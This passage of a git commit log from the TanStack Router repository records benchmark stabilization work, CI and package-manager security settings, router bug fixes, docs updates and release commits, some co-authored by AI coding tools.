  watcher per render — the Vue bench accumulated ~5 dead subscribers per
  navigation. Verified flat per-tick cost over 2000 ticks after the fix.
- all scenarios: bound the scroll-restoration cache with
  getScrollRestorationKey: (location) => location.pathname. The default
  key is a fresh random per-entry location key, so the module-level cache
  grew one entry per push navigation for the whole run.
- harness hover step: dispatch a single mouseover instead of
  mouseover+mouseenter. Solid/Vue attach intent-preload handlers to BOTH
  events, so the old double dispatch ran the preload pipeline twice for
  them but once for React. Verified all three adapters preload exactly
  once per hover via cached-matches probes.
- README: correct the loaders row (the invalidate step means cached routes
  re-run once per lap), the links row, and document the session-history
  growth characteristics.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* feat(benchmarks): cover client rewrites, lazy route chunks, encoded params

Closes the three coverage gaps identified in the scenario-suite analysis:

- new `rewrites` scenario (react/solid/vue): router basepath '/app' composed
  with a locale input/output rewrite pair — the client analog of the SSR
  rewrites scenario. Every href build runs the output rewrite and every
  committed location runs the input rewrite; assertions check both the
  internal router pathname and the external window pathname. The harness
  gained an `initialUrl` option since a basepath app cannot start at '/'.
- route-tree-scale now builds with `autoCodeSplitting: true`, so its
  navigations also exercise lazy route-chunk resolution — the default shape
  of real file-based apps, previously uncovered.
- nested-params and route-tree-scale param sets now include characters that
  need percent-encoding (spaces, `&`, `%`, `+`, unicode) so the segment
  encode/decode paths run on every navigation.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(benchmarks): reduce syscall time in measured loops, lengthen mount bench

CodSpeed excludes syscall time from simulation measures, and past a
threshold it warns ("cannot be consistently instrumented") and skips the
benchmark; the exclusion is also inconsistent run-to-run, which was the
root cause of the two same-code CI swings (route-tree-scale react 13%,
async-pipeline react 3.6%) and of skipped runs on hop-heavy benches like
async-pipeline solid (579 calls / 12.1ms).

- Replace all counted setTimeout(0) hops with setImmediate hops (harness
  timerHop + async-pipeline hopDelay). Both are deterministic event-loop
  turns that yield to timers and the React Node scheduler, but a timer
  costs ~3-4 syscalls (timerfd + epoll) per hop vs ~1 for an immediate.
  Same-machine instrumented before/after: preload solid 39.8ms -> 1.2ms of
  syscall time, preload vue 30.1 -> 1.1, async-pipeline solid 23.5 -> 1.1,
  async-pipeline vue 17.9 -> 0.9. head/route-tree-scale are unchanged
  (their residual syscalls are GC/scheduler, and their measures were
  already stable); history's syscalls come from jsdom's internal
  timer-queued traversal and are not reachable from bench code (its
  measured values are stable regardless).

- mount: 6 ticks per iteration instead of 2. A single mount simulates to
  only ~8ms and very short measures amplify allocator/GC quantization;
  the bench now measures ~50ms+ of simulated CPU.

All 39 benches pass; full nx typecheck green.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* fix(benchmarks): stop history benches sleeping in jsdom's traversal timers

The history benches were skip-warned by CodSpeed for excessive syscall
time (5-26ms, highly variable across runs). Root cause: jsdom delivers
history traversals through two nested window.setTimeout(0) tasks, and Node
clamps zero timers to 1ms of wall time — so while awaiting onRendered
after back/forward/go, the event loop blocked in epoll_wait until each
timer expired. That blocked wall-time is recorded as syscall time, and its
duration depends on host timer behavior, hence the variability.

The harness now reroutes zero-delay window.setTimeout calls onto
setImmediate for the duration of a benchmark (non-zero delays pass
through; clearTimeout handles both). Zero-delay timeouts carry no ordering
semantics a check-phase immediate doesn't satisfy, and the suite's
conventions already forbid real-delay timers in measured code.

Instrumented A/A verification (2 runs per framework): history syscall time
react 23-26ms -> 2.5ms, solid 14-23ms -> 1.1ms, vue 11-12ms -> 1.2ms, with
bit-identical syscall counts across runs and measured values stable to
0.06%. The benches also stopped measuring sleep: locally an iteration
dropped from ~42-49ms to ~5-11ms of actual CPU work. All 39 benches pass.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-07-03 08:18:08 +02:00
Flo
a6337fb98e
bench(memory): stabilize CodSpeed memory benchmarks (#7730)
* bench(memory): stabilize CodSpeed memory benchmarks

Memory flags on PRs were ~85% noise, from two causes:

1. Stale baselines (dominant): the Benchmarks workflow only ran on main
   pushes touching packages/** or benchmarks/**. Main commits outside
   those paths had no CodSpeed run, so PRs were compared against an old
   base run ([^unexpected-base] on every recent codspeed-hq comment; six
   late-June PRs all compared to the same June-23 run). One outlier base
   measurement then replays into every PR until the next eligible push.
   Fix: drop the paths filter for the push trigger + weekly cron backstop.

2. Wall-clock timers racing the single measured run: aborted-requests
   (solid/vue) resolved deferred loader data on 500/750ms timeouts raced
   against abort, and drained cancellation with at most one setTimeout(0);
   streaming-peak staggered deferred sections by milliseconds. Under
   variable runner load and instrumentation slowdown the interleaving —
   and therefore the allocation sequence — differed run to run. Fix:
   count 0ms timers-phase hops (event-loop turns) instead of milliseconds
   everywhere async ordering must be staged, and drain aborts with a
   fixed 8-turn settlement barrier.

Local before/after evidence (8 fresh-process runs per config, CodSpeed V8
determinism flags, idle + CPU-stressed; kernel peak RSS spread):

  aborted-requests/solid idle    11.2MB -> 1.8MB (GC counts bit-identical)
  aborted-requests/solid stress   7.7MB -> 2.5MB
  streaming-peak/solid   idle     6.2MB -> 2.5MB
  request-churn/solid (untouched control): unchanged, confirming harness

streaming-peak/vue keeps ~2% proxy-level variance at any tick count; its
PR flags were the identical -3.2% in all three occurrences, i.e. the
stale-base artifact rather than per-run jitter.

Bench names and workload shapes are unchanged; absolute values will step
once on the CodSpeed dashboard from the removed cross-iteration overlap
(e.g. aborted-requests/solid retained 15.6MB -> 2.5MB per invocation).

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* bench(memory): exclude docs/examples/e2e from main benchmark runs, drop cron

paths-ignore instead of no filter: docs/examples/e2e-only pushes cannot
affect benchmark results, and falling back across such a commit is safe
because the previous run's benchmark-relevant code is identical. The
weekly cron backstop is unnecessary for the same reason.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

* bench(memory): pin GC between iterations in peak-shape scenarios

A/A runs of the real memory instrument showed the two big-payload peak
scenarios were still unstable with no timers involved: whether V8
collects iteration i's garbage before iteration i+1 allocates its
payload is not reproducible run to run, so the measured peak flipped by
a whole payload (serialization-payload solid: 6.8-9.2 MB across
identical runs; peak-large-page: 3.5-3.7 MB).

Peak scenarios measure the footprint of a single request, not
accumulation, so pin the collection points: settle two event-loop turns
(so trailing renderer/stream teardown is included) and force a GC after
each iteration. Peak then deterministically measures
max(single-request footprint). Churn scenarios are unchanged — their
signal is accumulation, which a forced GC would mask; the README rule
now spells out both sides.

A/A validation (3 identical instrumented runs, solid suite):

  serialization-payload  6.8-9.2 MB  -> 3.5-3.6 MB
  peak-large-page        3.5-3.7 MB  -> 754-757 KB (0.45% spread)
  streaming-peak         38.5-39.5   -> 30.3/30.3/30.3 MB
  churn scenarios        unchanged (aborted-requests 1.4 MB x3)

Absolute values step because cross-iteration garbage no longer inflates
the peak; the new values are the per-request footprint the scenarios
were designed to track.

Co-Authored-By: Claude Fable 5 <noreply@anthropic.com>

---------

Co-authored-by: Claude Fable 5 <noreply@anthropic.com>
2026-07-02 21:44:55 +02:00
github-actions[bot]
ecbbd9a8ec
ci: Version Packages (#7676)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-07-01 23:33:19 +02:00
Flo
8bdb21e062
fix(ci): release workflow OOM increase node max-old-space (#7723) 2026-07-01 22:55:47 +02:00
Flo
572fb2b860
fix(ci): release workflow OOM during update-example-deps lockfile update (#7722) 2026-07-01 22:34:33 +02:00
Collin Dillinger
9809a0619d
fix(router-core): preserve percent-encoded URL-unsafe chars in decodeSegment (#7695)
* fix(router-core): preserve percent-encoded URL-unsafe chars in decodeSegment

Replace sanitizePathSegment (which stripped control characters) with a
re-encode step that keeps WHATWG path percent-encode set characters and
control characters in their encoded form after decodeURI.

This preserves the existing decodeURI-based approach which correctly
handles multi-byte UTF-8 sequences, while fixing the mismatch between
the original request URL and the router's internal representation that
caused infinite 307 redirect loops on paths containing these characters.

Fixes #7587.

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>

* ci: apply automated fixes

---------

Co-authored-by: Copilot <223556219+Copilot@users.noreply.github.com>
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Flo <me@florianpellet.com>
2026-06-30 23:27:21 +02:00
Flo
bb2daa6952
Reduce postinstall wrangler noise (#7696) 2026-06-25 23:29:10 +02:00
Flo
3d86aee264
pnpm: fix minReleaseAge to 1 day (#7686) 2026-06-24 13:48:04 +02:00
Flo
80d098f5a4
fix pnpm trustPolicy (for good) (#7681) 2026-06-23 22:48:11 +02:00
Flo
d71af0bbcf
add undici 6 to trustPolicyExclude for vite ecosystem ci (#7680) 2026-06-23 21:58:18 +02:00
Flo
7538668f21
ci: bundle-size workdlow outputs its report to stdout (#7677) 2026-06-23 01:19:54 +02:00
Yagiz Nizipli
ba52d2b8f9
perf(start-client-core): zero-copy frame payload extraction (#7662)
extractFlattened() always allocated a new Uint8Array and copied `count`
bytes, even when the requested bytes were fully contained in the first
buffered chunk (the common case, since most frames arrive within a single
network read).

Add a fast path that returns a subarray view of the first chunk when the
bytes are contiguous, avoiding the allocation and the byte copy. The
multi-chunk path is unchanged. The returned view shares the chunk's
backing ArrayBuffer, which is safe because buffered chunks are never
mutated in place after being read.

This is on the hot path for decoding every streamed server-function
response and RawStream binary payload on the client. A micro-benchmark
shows ~3x faster extraction for 1KB frames and ~27x for 64KB frames (the
win scales with payload size).
2026-06-23 00:15:37 +02:00
Flo
279a849916
update better-auth in solid convex example so @noble/ciphers passes trustPolicy (#7656) 2026-06-19 20:08:09 +02:00
Flo
ac821f40aa
docs(start): clarify server functions vs server routes (#7651)
* docs(start): clarify server functions and routes usage

* clean up repetition
2026-06-18 12:49:10 +02:00
github-actions[bot]
f23ed0fe73
ci: Version Packages (#7576) 2026-06-17 00:12:54 +02:00
Flo
1362bf22d0
ci: pnpm trustPolicy no-downgrade exclude semver@6.3.1 (#7645) 2026-06-16 12:12:14 +02:00
Elecmonkey
e499164c72
feat(start-plugin-core): support Rsbuild preview SSR middleware (#7372)
* fix(start-plugin-core): support rsbuild preview SSR

* fix(start-plugin-core): always install rsbuild SSR middleware in preview

Preview is the only SSR handler in `rsbuild preview`, so gate the opt-out
to dev only and keep the option named `installDevServerMiddleware`.
2026-06-16 10:30:39 +02:00
Flo
734f9072e4
ci: pnpm trustPolicy no-downgrade exclude chokidar@4.0.3 (#7643) 2026-06-16 10:22:04 +02:00
Flo
a415471437
perf(router-core): cache lightweight route matches (#7601) 2026-06-14 20:56:50 +02:00
Flo
854ac95b0d
benchmark: memory (codspeed) (#7623) 2026-06-14 12:51:10 +02:00
Flo
689c5ab32e
chore(react-router): silence AbortError in renderRouterToStream (#7627) 2026-06-13 19:41:02 +02:00
Flo
36ed57409a
bench: calibrate new ssr benchmarks iteration to reduce variability (#7625)
* bench: calibrate new ssr benchmarks iteration to reduce variability

* better response stream draining

* last remaining fast ssr scenarios
2026-06-13 15:21:57 +02:00
dfedoryshchev
a2b9d51b0a
docs: fix duplicate "to" typos (#7370) 2026-06-12 22:55:18 +02:00
Flo
0c110a934a
ssr benchmarks (#7606) 2026-06-12 22:04:10 +02:00
tsushanth
2215277382
docs(router): drop the broken "LLM Assistance Support" nav entry (#7617) 2026-06-12 21:31:42 +02:00
Tanner Linsley
6f882b7dae
docs(start): rename LLM optimization guide to GEO (#7620) 2026-06-12 11:24:22 -06:00
Flo
96eca43ab8
perf(start-server-core): skip update for server context (#7599)
* perf(start-server-core): skip update for server context

* changeset
2026-06-11 10:58:01 +02:00
Flo
f046b064d3
chore: forgot changeset in #7596 (#7600) 2026-06-11 10:57:24 +02:00
Flo
56bd271ba0
perf(react-router): add match selector compares (#7596)
* perf(react-router): add match selector compares

* fix scroll restoration

* Revert "fix scroll restoration"

This reverts commit 620e9674fa.

* fix scroll restoration

* lint rules of hooks
2026-06-11 10:04:11 +02:00
Flo
52db7034fd
fix(react-router): avoid throwing in useMatch selector (#7595)
* fix(react-router): avoid throwing in useMatch selector

* lint fix and changeset
2026-06-10 22:11:08 +02:00
Nicolas Beaussart
6f1daf5104
chore: update nx to 22.7.5 (#7583) 2026-06-08 08:41:48 +02:00
Flo
41e7a24f69
refactor(solid-router): remove unnecessary setTimeout from Match components (#7584) 2026-06-07 23:05:20 +02:00
Flo
5127d861ae
refactor(router-core): avoid creating promises when not necessary (#7582) 2026-06-07 22:37:25 +02:00
Flo
689d88e04c
refactor(react-router): Reduce bundle size by sharing hook structuralSharing logic (#7577) 2026-06-07 19:29:16 +02:00
Flo
b80781ede4
fix(benchmarks): run SSR setup imports natively (#7579)
* fix(benchmarks): run SSR setup imports natively

* fix(benchmarks): update codspeed vitest plugin

* fix(benchmarks): avoid SSR CodSpeed setup hooks

* ci: apply automated fixes

* fix(benchmarks): preload SSR handlers before bench

* ci: apply automated fixes

* ensure benchmarks build are NODE_ENV=production

* fail codspeed on error, to avoid future skips like this one

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-06-07 18:46:47 +02:00
Nandkishor Jadoun
f111a38249
docs: add 🟡 (Experimental) for TanStack Start RSC support (#7573) 2026-06-07 15:02:31 +02:00
Flo
4a93cffffc
refactor(react-router): useMatches skips useRef during SSR (#7575) 2026-06-07 13:26:37 +02:00
github-actions[bot]
757d43375f
ci: Version Packages (#7567) 2026-06-06 23:39:56 +02:00
Manuel Schiller
9bebf8dc9f
rename inputValidator to validator (#7566)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-06-06 23:05:56 +02:00
github-actions[bot]
10a7ff833c
ci: Version Packages (#7563) 2026-06-06 11:49:34 +02:00
Manuel Schiller
776d8ef283
fix(router-core): skip scroll restoration setup when disabled (#7562) 2026-06-06 11:37:03 +02:00
github-actions[bot]
996b9bee38
ci: Version Packages (#7561) 2026-06-06 10:45:35 +02:00
Manuel Schiller
837897f073
fix(router-plugin): preserve generated route state for aliased HMR imports (#7560)
* fix(router-plugin): preserve generated route state for aliased HMR imports

fixes #4303

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-06-06 10:34:02 +02:00
Manuel Schiller
df1076c03a
fix(router-core): allow retained search params to reset to defaults (#7559)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-06-06 10:30:23 +02:00
Manuel Schiller
e99e855258
add regression tests (#7557) 2026-06-06 01:53:22 +02:00
github-actions[bot]
65ad9062ea
ci: Version Packages (#7556) 2026-06-06 01:01:21 +02:00
Manuel Schiller
ac10815f38
fix(router-core): respect stripped params in retainSearchParams (#7555) 2026-06-06 00:49:14 +02:00
github-actions[bot]
a8647d20a1
ci: Version Packages (#7554) 2026-06-05 22:11:34 +02:00
Scott Street
2cca73c922
fix(router-core): fix search middleware type to use schema output (#7381)
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2026-06-05 22:02:05 +02:00
Manuel Schiller
6b453dfafc
fix build (#7553) 2026-06-05 21:56:19 +02:00
Manuel Schiller
301f6ba459
fix(start): clean up server function handler imports (#7552)
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-06-05 21:30:23 +02:00
Birk Skyum
76b3d3b245
Revert #7524 (#7533)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-06-05 00:04:55 +02:00
Manuel Schiller
fb0399e8c4
fix build (#7550) 2026-06-04 23:45:39 +02:00
Manuel Schiller
7a83e67e65
fix(router-core): retain search over validation defaults (#7549) 2026-06-04 23:25:25 +02:00
Manuel Schiller
3dcc016fc1
improve bundle size benchmarks and add initial skill (#7450) 2026-06-04 22:48:53 +02:00
Ulrich Stark
fee0b58c51
refactor: remove unused dependencies (#7541) 2026-06-04 22:47:41 +02:00
Ulrich Stark
bb99f66a47
refactor: remove unnecessary any assertions (#7542) 2026-06-04 22:12:45 +02:00
Ulrich Stark
1d113f0a30
fix(examples): make isRoot check work (#7547) 2026-06-04 22:11:30 +02:00
github-actions[bot]
8c7e54ea2d
ci: Version Packages (#7544) 2026-06-04 13:56:45 +02:00
Cong-Cong Pan
80919186cb
fix(start-rsbuild): compile node_modules for RSC directives (#7540)
* fix(start-rsbuild): compile node_modules for RSC directives

* chore: add comments

* chore: add changeset
2026-06-04 13:34:00 +02:00
Tanner Linsley
ccf87fbe6f
docs: clarify auth data boundaries (#7537) 2026-06-03 12:48:48 -06:00
github-actions[bot]
7fc7c346dc
ci: Version Packages (#7525)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-06-02 22:50:10 +02:00
Birk Skyum
b4cd5af8d0
fix(router-core): defer $_TSR teardown until DOMContentLoaded (#7524) 2026-06-02 22:29:15 +02:00
Manuel Schiller
54b0d9a91e
docs (#7521) 2026-06-01 22:05:37 +02:00
Manuel Schiller
e51ad23c0f
docs (#7520) 2026-06-01 21:46:55 +02:00
github-actions[bot]
9a6c12596f
ci: Version Packages (#7513) 2026-05-30 15:22:58 +02:00
Manuel Schiller
9cb7a003e6
feat(rsbuild): add RSC support (#7509)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-05-30 15:16:10 +02:00
github-actions[bot]
0ac831bdf7
ci: Version Packages (#7508) 2026-05-30 02:44:11 +02:00
Manuel Schiller
2f5374945e
fix: fix primitive beforeLoad errors (#7505)
* fix: fix primitive beforeLoad errors

* ci: apply automated fixes

---------

Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-05-30 01:29:42 +02:00
Flo
86b8f9ff47
ci: update all actions (#7506)
* ci: update all actions

* disable package manager cache
2026-05-30 01:11:04 +02:00
github-actions[bot]
8b3659143f
ci: Version Packages (#7504)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-05-29 02:32:18 +02:00
Manuel Schiller
d1997b66d7
fix: fix streaming (#7497) 2026-05-29 02:27:23 +02:00
Manuel Schiller
72805df675
chore: stabilize tests (#7503)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-05-29 02:17:35 +02:00
github-actions[bot]
c79b396412
ci: Version Packages (#7502) 2026-05-29 01:49:27 +02:00
Manuel Schiller
9c09bca59e
fix(start): emit boot-sibling chunks as scripts for IIFE entries (#7501)
Co-authored-by: Keven Arroyo <kevenarroyo@microsoft.com>
2026-05-29 01:42:05 +02:00
github-actions[bot]
bae50be10a
ci: Version Packages (#7493) 2026-05-26 22:23:30 +02:00
Manuel Schiller
71fb3297e9
fix: Fix Hydrate re-exports to avoid circular HMR updates (#7492) 2026-05-26 21:54:14 +02:00
Flo
aee3661c5b
chore: migrate changesets changelog generator (#7490) 2026-05-26 19:30:23 +02:00
github-actions[bot]
eb830eaa45
ci: Version Packages (#7485) 2026-05-25 08:57:06 +02:00
Manuel Schiller
d8be4f8adf
fix release (#7487) 2026-05-25 08:50:11 +02:00
Manuel Schiller
a82cec6947
fix(start): avoid encoded virtual adapter ids in vite dev (#7484) 2026-05-25 01:01:47 +02:00
github-actions[bot]
abd44ddf2b
ci: Version Packages (#7483) 2026-05-24 22:15:30 +02:00
Manuel Schiller
90adda91aa
fix: bundled dev support for vite (#7482) 2026-05-24 22:08:23 +02:00
github-actions[bot]
658c224145
ci: Version Packages (#7478) 2026-05-24 02:15:23 +02:00
Manuel Schiller
51a97a167f
feat(start): support rsbuild iife client output (#7477) 2026-05-24 02:02:05 +02:00
Manuel Schiller
31f5684aa2
chore: only run autofix on PRs (#7469) 2026-05-22 00:26:07 +02:00
github-actions[bot]
b47b338d15
ci: Version Packages (#7467) 2026-05-21 23:05:25 +02:00
Flo
28fda1c910
chore: enforce pnpm 11 (#7465) 2026-05-21 23:04:09 +02:00
Manuel Schiller
5268ba4566
fix: Fix hash scrolling with resetScroll={false} (#7464)
Co-authored-by: coderabbitai[bot] <136622811+coderabbitai[bot]@users.noreply.github.com>
2026-05-21 22:54:26 +02:00
Manuel Schiller
ce61fa2e65
fix(start): explicitly re-export public API to survive SSR cold-start cycle (#7466) 2026-05-21 22:53:54 +02:00
Birk Skyum
e2896b5051
ci: fix release notes diff range after Release PR flow (#7456) 2026-05-21 02:22:39 +02:00
github-actions[bot]
65b4abe65b
ci: Version Packages (#7454) 2026-05-21 00:28:19 +02:00
Manuel Schiller
7df0d02bfb
fix: Fix escaped underscore index route generation (#7453) 2026-05-21 00:03:43 +02:00
github-actions[bot]
35a7d9cd5a
ci: Version Packages (#7452) 2026-05-20 23:32:04 +02:00
Manuel Schiller
0300f87ec5
fix: fix scroll restoration issues (#7447)
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
2026-05-20 23:12:12 +02:00
Manuel Schiller
d024a5487b
perf: optimize and test rewrite (#7448)
optimize and test rewrite
2026-05-20 22:54:58 +02:00
Nicolas Beaussart
35de19bb3b
chore: ignore nx generated folders (#7451) 2026-05-20 22:32:54 +02:00
github-actions[bot]
254cb8834e
ci: Version Packages (#7435)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-05-20 12:00:06 +02:00
Flo
697c66b337
chore: update express and webpack-dev-server (#7443)
* chore: update express to v5.2.1

* chore: update webpack-dev-server to v5.2.4
2026-05-20 10:58:22 +02:00
Flo
9f6258f23e
chore: update zod to v4.4.3 (#7441)
* chore: update zod to v4.4.3

* fix(start): preserve route path defaults

* fix(examples): resolve zod 4 build failures
2026-05-20 08:41:45 +02:00
Flo
fa48ea8d38
chore: update @rolldown/pluginutils to 1.0.1 (#7440) 2026-05-20 08:41:28 +02:00
Flo
c0f439c59b
chore: update chokidar to v5 (#7439) 2026-05-20 08:41:13 +02:00
Tanner Linsley
0bfb7efa12
docs(start): compare deferred hydration to React selective hydration (#7442)
Adds a short comparison section answering the common question about how
TanStack Start's deferred hydration relates to React 18's selective
hydration. The framing: selective hydration controls the order of
inevitable hydration work; deferred hydration controls whether and when
that work happens at all.
2026-05-19 19:44:44 -06:00
Tanner Linsley
ac4b43f346
docs(start): compare deferred hydration to Astro islands (#7438)
Adds a short mental-model section answering the common question
about how TanStack Start's deferred hydration relates to Astro
islands.
2026-05-19 15:09:21 -06:00
Flo
60ad69c8fa
chore: update @swc/core in example/react/quickstart-webpack-file-based (#7434)
* chore: update @swc/core in example/react/quickstart-webpack-file-based

* chore: update @swc/core in example/react/quickstart-webpack-file-based [Self-Healing CI Rerun]

---------

Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
2026-05-19 20:09:04 +02:00
Manuel Schiller
5fa9e555f3
feat: deferred hydration (#7362)
* feat: deferred hydration

* fix

* tests

* solid tests

* Changes before error encountered

Agent-Logs-Url: https://github.com/TanStack/router/sessions/5263c469-75c2-4470-bd4c-86f9b43964f4

Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>

* chore: address hydration review follow-ups

Agent-Logs-Url: https://github.com/TanStack/router/sessions/16e27113-ff01-4de8-aded-b9be9f6dd4ff

Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>

* fix(start-client-core): correct import order in hydrateStart.ts

Co-authored-by: schiller-manuel <schiller-manuel@users.noreply.github.com>

* chore: remove tracked nx self-healing artifacts

Agent-Logs-Url: https://github.com/TanStack/router/sessions/95750760-1348-437c-8f73-cc45e899003a

Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>
Co-authored-by: nx-cloud[bot] <71083854+nx-cloud[bot]@users.noreply.github.com>
Co-authored-by: schiller-manuel <schiller-manuel@users.noreply.github.com>
2026-05-19 18:43:00 +02:00
Sean Cassiere
2506478fa8
docs(start): use router package for module declaration to type the request context (#7427) 2026-05-18 10:29:25 +12:00
Flo
86b5ca062e
security: stricter pnpm config blockExoticSubdeps & trustPolicy (#7425) 2026-05-17 15:29:14 +02:00
github-actions[bot]
ee8a6753da
ci: Version Packages (#7423) 2026-05-17 13:43:38 +02:00
Manuel Schiller
b60eb36e59
fix: fix route mismatch warnings and HMR route indexes (#7422)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-05-17 13:35:04 +02:00
github-actions[bot]
32c5a8ec8d
ci: Version Packages (#7421) 2026-05-17 00:54:12 +02:00
Manuel Schiller
8146db7e54
fix(router-plugin): detect typed root route context for HMR (#7420) 2026-05-17 00:42:32 +02:00
github-actions[bot]
d1dc4ae7c0
ci: Version Packages (#7417) 2026-05-16 21:17:56 +02:00
Manuel Schiller
d9cf9331b8
fix(router-core): hydrate before initial client route match (#7416) 2026-05-16 21:10:08 +02:00
github-actions[bot]
4e42422f28
ci: Version Packages (#7413) 2026-05-16 16:32:00 +02:00
Flo
d533f87976
feat(router-core): params.priority route option as tie breaker in matching algorithm (#7411)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
2026-05-16 16:20:12 +02:00
github-actions[bot]
b3f2ab809e
ci: Version Packages (#7409)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-05-16 07:02:58 +02:00
Manuel Schiller
742941e2f1
fix: Fix literal underscore paths under pathless layouts (#7408) 2026-05-16 04:08:22 +02:00
github-actions[bot]
13432ad9ff
ci: Version Packages (#7407) 2026-05-16 00:55:45 +02:00
Manuel Schiller
2387a2eea0
feat(start): add inline CSS runtime controls and asset URL templates (#7380) 2026-05-16 00:38:42 +02:00
github-actions[bot]
ae64839145
ci: Version Packages (#7405)
ci: changeset release

Co-authored-by: github-actions[bot] <41898282+github-actions[bot]@users.noreply.github.com>
2026-05-15 21:24:23 +02:00
Birk Skyum
14520e5eb5
ci: align release workflow to query (#7404) 2026-05-15 21:12:35 +02:00
Flo
9f9f371e59
fix: revert plugin changes, createCsrfMiddleware compilation, fix HMR tests (#7400)
Co-authored-by: autofix-ci[bot] <114827586+autofix-ci[bot]@users.noreply.github.com>
Co-authored-by: Manuel Schiller <manuel.schiller@caligano.de>
2026-05-15 16:35:59 +02:00
Corbin Crutchley
1f7b3188e2
chore: add CODEOWNERS file (#7394)
* chore: add CODEOWNERS file

* chore: add Nx and NPMRC

* Update .github/CODEOWNERS

---------

Co-authored-by: Nicolas Beaussart <nic.beaussart@gmail.com>
2026-05-14 07:40:56 +02:00
Harry Whorlow
dfcffab661
chore(pnpm): update pnpm to v11 (#7392) 2026-05-14 00:20:53 +02:00
Flo
e16bb6b2c5
ci: zizmor (#7389) 2026-05-14 00:01:57 +02:00
Flo
201e150bd1
minor semver bump to all packages (#7395) 2026-05-13 22:46:39 +02:00
renovate[bot]
bb5f3cc93c
chore(deps): pin dependencies (#7388)
Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com>
2026-05-12 23:32:33 +10:00
Lachlan Collins
68d5f318e4
ci: add pinGitHubActionDigests (#7387) 2026-05-12 22:51:36 +10:00
Tanner Linsley
5d92d5aea3
Update bundle-size.yml 2026-05-11 16:03:38 -06:00
Tanner Linsley
861870ffb1
Update labeler.yml 2026-05-11 16:02:40 -06:00
Tanner Linsley
3ee179f0d9
Update bundle-size.yml 2026-05-11 16:02:10 -06:00
Manuel Schiller
038cd123b7
fix: fix jiti usage for tsconfig paths (#7382)
* Enable jiti tsconfig path aliases

Agent-Logs-Url: https://github.com/TanStack/router/sessions/0a481c9b-eb97-4543-acc5-71d43b97d386

Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>

* Use fixture for jiti tsconfig aliases

Agent-Logs-Url: https://github.com/TanStack/router/sessions/182b9baa-9e54-4813-a322-c33a1da5417d

Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>

* Track fixture path alias helper

Agent-Logs-Url: https://github.com/TanStack/router/sessions/182b9baa-9e54-4813-a322-c33a1da5417d

Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>

* Add router-generator changeset

Agent-Logs-Url: https://github.com/TanStack/router/sessions/ab1a42cc-7326-4e36-a656-f01179221cee

Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>

* Format virtual config fixture

Agent-Logs-Url: https://github.com/TanStack/router/sessions/22194166-b3a7-431e-b723-ad594d4b0405

Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>

---------

Co-authored-by: copilot-swe-agent[bot] <198982749+Copilot@users.noreply.github.com>
Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>
2026-05-11 21:16:18 +02:00
Shkumbin Hasani
b1c061aff9
fix(router-core): fix missing closing paren in CSS.supports check for view transition types (#7369) 2026-05-10 00:11:51 +02:00
Flo
5ae2ae5e0f
feat(start): CSRF middleware (#7373) 2026-05-09 18:34:24 +02:00
Copilot
4eed408f12
Document server function strict serialization options (#7358)
* Document server function strict option

Agent-Logs-Url: https://github.com/TanStack/router/sessions/8deabe7a-7412-455e-9111-97a13cb4582e

Co-authored-by: schiller-manuel <6340397+schiller-manuel@users.noreply.github.com>

* Refine strict docs wording

Agent-Logs-Url: https://github.com/TanStack/router/sessions/e2857d6e-314e-496c-b99b-78c207c28c77

